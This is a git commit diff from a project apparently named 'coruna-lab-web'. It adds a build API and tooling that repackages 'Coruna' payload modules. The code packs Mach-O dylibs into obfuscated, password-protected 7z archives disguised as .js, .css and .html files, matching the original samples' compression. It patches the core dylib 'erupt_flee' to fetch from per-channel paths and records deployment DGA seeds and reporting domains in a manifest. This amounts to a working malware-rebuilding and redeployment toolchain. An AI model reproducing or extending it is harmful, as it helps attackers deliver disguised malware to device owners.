init
This commit is contained in:
@@ -0,0 +1,7 @@
|
|||||||
|
BUILD_API_TOKEN=replace-with-a-long-random-token
|
||||||
|
BUILD_API_ARTIFACT_ROOT=/www/wwwroot/coruna-lab-web/artifacts
|
||||||
|
BUILD_API_PROJECT_SCRIPT=/www/wwwroot/coruna-lab-web/frontend/tools/new_project.py
|
||||||
|
BUILD_API_PYTHON=/www/wwwroot/coruna-lab-web/.venv/bin/python
|
||||||
|
BUILD_API_HOST=127.0.0.1
|
||||||
|
BUILD_API_PORT=8081
|
||||||
|
BUILD_API_TIMEOUT=900
|
||||||
@@ -3,13 +3,58 @@
|
|||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import os
|
import os
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
import uvicorn
|
import uvicorn
|
||||||
|
|
||||||
from .app import create_application
|
from .app import create_application
|
||||||
|
|
||||||
|
REPO_ROOT = Path(__file__).resolve().parent.parent
|
||||||
|
|
||||||
|
|
||||||
|
def _load_env_file(path: Path) -> None:
|
||||||
|
"""Load KEY=VALUE lines into os.environ.
|
||||||
|
|
||||||
|
Existing non-empty process env wins. Empty/missing keys are filled from the
|
||||||
|
file so panel "load from file" stubs cannot block a real project .env.
|
||||||
|
"""
|
||||||
|
if not path.is_file():
|
||||||
|
return
|
||||||
|
for raw in path.read_text(encoding="utf-8").splitlines():
|
||||||
|
line = raw.strip()
|
||||||
|
if not line or line.startswith("#"):
|
||||||
|
continue
|
||||||
|
if line.startswith("export "):
|
||||||
|
line = line[7:].strip()
|
||||||
|
if "=" not in line:
|
||||||
|
continue
|
||||||
|
key, _, value = line.partition("=")
|
||||||
|
key = key.strip()
|
||||||
|
if not key:
|
||||||
|
continue
|
||||||
|
value = value.strip()
|
||||||
|
if len(value) >= 2 and value[0] == value[-1] and value[0] in {'"', "'"}:
|
||||||
|
value = value[1:-1]
|
||||||
|
current = os.environ.get(key)
|
||||||
|
if current is not None and current.strip():
|
||||||
|
continue
|
||||||
|
os.environ[key] = value
|
||||||
|
|
||||||
|
|
||||||
def main() -> None:
|
def main() -> None:
|
||||||
|
# Always read project .env; also honor an explicit path from the panel.
|
||||||
|
_load_env_file(REPO_ROOT / ".env")
|
||||||
|
env_file = os.environ.get("BUILD_API_ENV_FILE", "").strip()
|
||||||
|
if env_file:
|
||||||
|
_load_env_file(Path(env_file))
|
||||||
|
|
||||||
|
token = os.environ.get("BUILD_API_TOKEN", "").strip()
|
||||||
|
if not token:
|
||||||
|
raise SystemExit(
|
||||||
|
"BUILD_API_TOKEN is missing or empty. "
|
||||||
|
f"Put it in {REPO_ROOT / '.env'} (KEY=value, no spaces around =)."
|
||||||
|
)
|
||||||
|
|
||||||
host = os.environ.get("BUILD_API_HOST", "127.0.0.1")
|
host = os.environ.get("BUILD_API_HOST", "127.0.0.1")
|
||||||
port = int(os.environ.get("BUILD_API_PORT", "8081"))
|
port = int(os.environ.get("BUILD_API_PORT", "8081"))
|
||||||
application = create_application()
|
application = create_application()
|
||||||
|
|||||||
+6
-3
@@ -37,15 +37,18 @@ The service reads:
|
|||||||
- `BUILD_API_HOST` / `BUILD_API_PORT`: defaults to `127.0.0.1:8081`.
|
- `BUILD_API_HOST` / `BUILD_API_PORT`: defaults to `127.0.0.1:8081`.
|
||||||
- `BUILD_API_TIMEOUT`: synchronous build timeout in seconds, default `900`.
|
- `BUILD_API_TIMEOUT`: synchronous build timeout in seconds, default `900`.
|
||||||
|
|
||||||
Install API dependencies, then run from the repository root:
|
Install API dependencies, then run from the repository root. On panel hosts
|
||||||
|
(宝塔), put variables in a project-root `.env` (see `.env.example`);
|
||||||
|
`python -m build_api` loads it automatically when the process environment does
|
||||||
|
not already define them. Optional: `BUILD_API_ENV_FILE=/path/to/file`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
python3 -m venv .venv
|
python3 -m venv .venv
|
||||||
source .venv/bin/activate
|
source .venv/bin/activate
|
||||||
pip install -r requirements.txt
|
pip install -r requirements.txt
|
||||||
|
|
||||||
export BUILD_API_TOKEN="$(python3 -c 'import secrets; print(secrets.token_urlsafe(48))')"
|
cp .env.example .env
|
||||||
export BUILD_API_ARTIFACT_ROOT=/srv/coruna-artifacts
|
# edit .env — at least set BUILD_API_TOKEN
|
||||||
python3 -m build_api
|
python3 -m build_api
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|||||||
@@ -8,8 +8,8 @@
|
|||||||
|
|
||||||
扩展名 `.js/.css/.html/.ts` 只是 HTTP 伪装;`daily.html` 与各模块响应均为 **Coruna 混淆头 + 密码 7z**,解包后为 Mach-O dylib(或配置 JSON)。
|
扩展名 `.js/.css/.html/.ts` 只是 HTTP 伪装;`daily.html` 与各模块响应均为 **Coruna 混淆头 + 密码 7z**,解包后为 Mach-O dylib(或配置 JSON)。
|
||||||
|
|
||||||
拉取顺序:type-0x01 经 Deployment DGA 选中主机 →
|
拉取顺序:type-0x01 与 core(erupt_flee)均已将初始/配置路径改到
|
||||||
`GET /channel/<id>/sync/daily.html` → 按配置再拉
|
`/channel/<id>/sync/daily.html` → 按配置再拉
|
||||||
`/channel/<id>/sync/<wire>`(本机按需,不一定 26 个全下)。
|
`/channel/<id>/sync/<wire>`(本机按需,不一定 26 个全下)。
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|||||||
@@ -13,6 +13,7 @@ TOOLS_ROOT = FRONTEND_ROOT / "tools"
|
|||||||
sys.path.insert(0, str(TOOLS_ROOT))
|
sys.path.insert(0, str(TOOLS_ROOT))
|
||||||
|
|
||||||
from _common import ( # noqa: E402
|
from _common import ( # noqa: E402
|
||||||
|
CORE_DYLIB,
|
||||||
GROUP_DYLIBS,
|
GROUP_DYLIBS,
|
||||||
ORIGINAL_DEPLOYMENT_SEED,
|
ORIGINAL_DEPLOYMENT_SEED,
|
||||||
ORIGINAL_REPORTING_SEED,
|
ORIGINAL_REPORTING_SEED,
|
||||||
@@ -101,6 +102,31 @@ class InitialDailyPathPatchTests(unittest.TestCase):
|
|||||||
with self.assertRaisesRegex(SystemExit, "unsupported Mach-O UUID"):
|
with self.assertRaisesRegex(SystemExit, "unsupported Mach-O UUID"):
|
||||||
patch_initial_daily_path(bytes(source), TEST_CHANNEL)
|
patch_initial_daily_path(bytes(source), TEST_CHANNEL)
|
||||||
|
|
||||||
|
def test_fat_core_retargets_both_slices(self) -> None:
|
||||||
|
source = CORE_DYLIB.read_bytes()
|
||||||
|
self.assertEqual(source[:4], bytes.fromhex("cafebabe"))
|
||||||
|
patched, metadata = patch_initial_daily_path(
|
||||||
|
source, TEST_CHANNEL, label=CORE_DYLIB.name
|
||||||
|
)
|
||||||
|
self.assertEqual(metadata["container"], "fat")
|
||||||
|
expected = PATH_TEMPLATE.format(channel=TEST_CHANNEL).encode() + b"\x00"
|
||||||
|
self.assertEqual(metadata["path"], expected[:-1].decode())
|
||||||
|
slices = metadata["slices"]
|
||||||
|
self.assertEqual(len(slices), 2)
|
||||||
|
self.assertEqual(
|
||||||
|
{item["architecture"] for item in slices},
|
||||||
|
{"arm64", "arm64e"},
|
||||||
|
)
|
||||||
|
for item in slices:
|
||||||
|
slice_off = int(item["fat_slice_offset"])
|
||||||
|
cave = slice_off + int(item["path_file_offset"])
|
||||||
|
cfstring = slice_off + int(item["cfstring_file_offset"])
|
||||||
|
self.assertEqual(patched[cave : cave + len(expected)], expected)
|
||||||
|
self.assertEqual(
|
||||||
|
struct.unpack_from("<Q", patched, cfstring + 24)[0],
|
||||||
|
len(expected) - 1,
|
||||||
|
)
|
||||||
|
|
||||||
def test_secondary_pack_manifest_records_native_path_patch(self) -> None:
|
def test_secondary_pack_manifest_records_native_path_patch(self) -> None:
|
||||||
with tempfile.TemporaryDirectory() as temp:
|
with tempfile.TemporaryDirectory() as temp:
|
||||||
command = [
|
command = [
|
||||||
|
|||||||
@@ -13,7 +13,6 @@ from __future__ import annotations
|
|||||||
|
|
||||||
import struct
|
import struct
|
||||||
from dataclasses import dataclass, field
|
from dataclasses import dataclass, field
|
||||||
from typing import Any
|
|
||||||
|
|
||||||
from _channel_patch import validate_channel_id
|
from _channel_patch import validate_channel_id
|
||||||
|
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ import argparse
|
|||||||
import json
|
import json
|
||||||
import shutil
|
import shutil
|
||||||
import struct
|
import struct
|
||||||
|
import subprocess
|
||||||
import tempfile
|
import tempfile
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
|
||||||
@@ -58,10 +59,27 @@ def obfuscate_coruna_7z_header(standard_7z: bytes) -> bytes:
|
|||||||
return bytes(out)
|
return bytes(out)
|
||||||
|
|
||||||
|
|
||||||
|
# Match sample wires (source/sync/*.html): Method = LZMA2:13 7zAES:19.
|
||||||
|
# py7zr defaults to LZMA2:24, which the client 7z extractor rejects (-1).
|
||||||
|
_7Z_PACK_FILTER = "LZMA2:a=0:d=8k"
|
||||||
|
_7Z_CACHE_TAG = b"lzma2:13\0"
|
||||||
|
|
||||||
|
|
||||||
|
def _find_7z() -> str:
|
||||||
|
for name in ("7z", "7za"):
|
||||||
|
path = shutil.which(name)
|
||||||
|
if path:
|
||||||
|
return path
|
||||||
|
raise SystemExit(
|
||||||
|
"7z required to pack Coruna archives (LZMA2:13). Install p7zip."
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes:
|
def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes:
|
||||||
"""Build passworded 7z; cache by content so py7zr's random salt does not drift runs."""
|
"""Build passworded 7z with sample-compatible LZMA2:13; cache by content."""
|
||||||
cache_key = sha256_hex(
|
cache_key = sha256_hex(
|
||||||
member_name.encode("utf-8")
|
_7Z_CACHE_TAG
|
||||||
|
+ member_name.encode("utf-8")
|
||||||
+ b"\0"
|
+ b"\0"
|
||||||
+ password.encode("utf-8")
|
+ password.encode("utf-8")
|
||||||
+ b"\0"
|
+ b"\0"
|
||||||
@@ -72,13 +90,33 @@ def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes
|
|||||||
if cache_path.is_file():
|
if cache_path.is_file():
|
||||||
return cache_path.read_bytes()
|
return cache_path.read_bytes()
|
||||||
|
|
||||||
|
seven = _find_7z()
|
||||||
with tempfile.TemporaryDirectory() as tmp:
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
root = Path(tmp)
|
root = Path(tmp)
|
||||||
member = root / member_name
|
# Keep archive member name flat (basename only) like original wires.
|
||||||
|
arc_name = Path(member_name).name
|
||||||
|
member = root / arc_name
|
||||||
member.write_bytes(payload)
|
member.write_bytes(payload)
|
||||||
archive = root / "out.7z"
|
archive = root / "out.7z"
|
||||||
with py7zr.SevenZipFile(archive, mode="w", password=password) as handle:
|
cmd = [
|
||||||
handle.write(member, arcname=member_name)
|
seven,
|
||||||
|
"a",
|
||||||
|
"-t7z",
|
||||||
|
f"-m0={_7Z_PACK_FILTER}",
|
||||||
|
"-mhe=on",
|
||||||
|
f"-p{password}",
|
||||||
|
"-y",
|
||||||
|
"-bso0",
|
||||||
|
"-bsp0",
|
||||||
|
str(archive),
|
||||||
|
str(member),
|
||||||
|
]
|
||||||
|
proc = subprocess.run(cmd, capture_output=True, text=True)
|
||||||
|
if proc.returncode != 0 or not archive.is_file():
|
||||||
|
detail = (proc.stderr or proc.stdout or "").strip()
|
||||||
|
raise RuntimeError(
|
||||||
|
f"7z pack failed (code {proc.returncode}): {detail or 'no output'}"
|
||||||
|
)
|
||||||
data = archive.read_bytes()
|
data = archive.read_bytes()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
@@ -247,6 +285,7 @@ def main() -> int:
|
|||||||
|
|
||||||
hashes: dict[str, tuple[str, int]] = {}
|
hashes: dict[str, tuple[str, int]] = {}
|
||||||
rebuilt_wires: list[str] = []
|
rebuilt_wires: list[str] = []
|
||||||
|
core_path_patch_meta: dict | None = None
|
||||||
|
|
||||||
for mod in modules:
|
for mod in modules:
|
||||||
wire = mod["wire"]
|
wire = mod["wire"]
|
||||||
@@ -286,6 +325,16 @@ def main() -> int:
|
|||||||
expect_hits=expect,
|
expect_hits=expect,
|
||||||
label=label,
|
label=label,
|
||||||
)
|
)
|
||||||
|
if wire == "erupt_flee.js":
|
||||||
|
data, core_path_patch_meta = patch_initial_daily_path(
|
||||||
|
data,
|
||||||
|
channel,
|
||||||
|
label=label,
|
||||||
|
)
|
||||||
|
print(
|
||||||
|
f"path-patched {wire}: {core_path_patch_meta.get('path')} "
|
||||||
|
f"(container={core_path_patch_meta.get('container', 'thin')})"
|
||||||
|
)
|
||||||
digest = sha256_hex(data)
|
digest = sha256_hex(data)
|
||||||
size = len(data)
|
size = len(data)
|
||||||
hashes[wire] = (digest, size)
|
hashes[wire] = (digest, size)
|
||||||
@@ -336,6 +385,7 @@ def main() -> int:
|
|||||||
"reporting_domains": rep_domains,
|
"reporting_domains": rep_domains,
|
||||||
"daily_path": f"/channel/{channel}/sync/daily.html",
|
"daily_path": f"/channel/{channel}/sync/daily.html",
|
||||||
"sync_path_prefix": f"/channel/{channel}/sync/",
|
"sync_path_prefix": f"/channel/{channel}/sync/",
|
||||||
|
"initial_daily_path_patch": core_path_patch_meta,
|
||||||
}
|
}
|
||||||
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
|
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user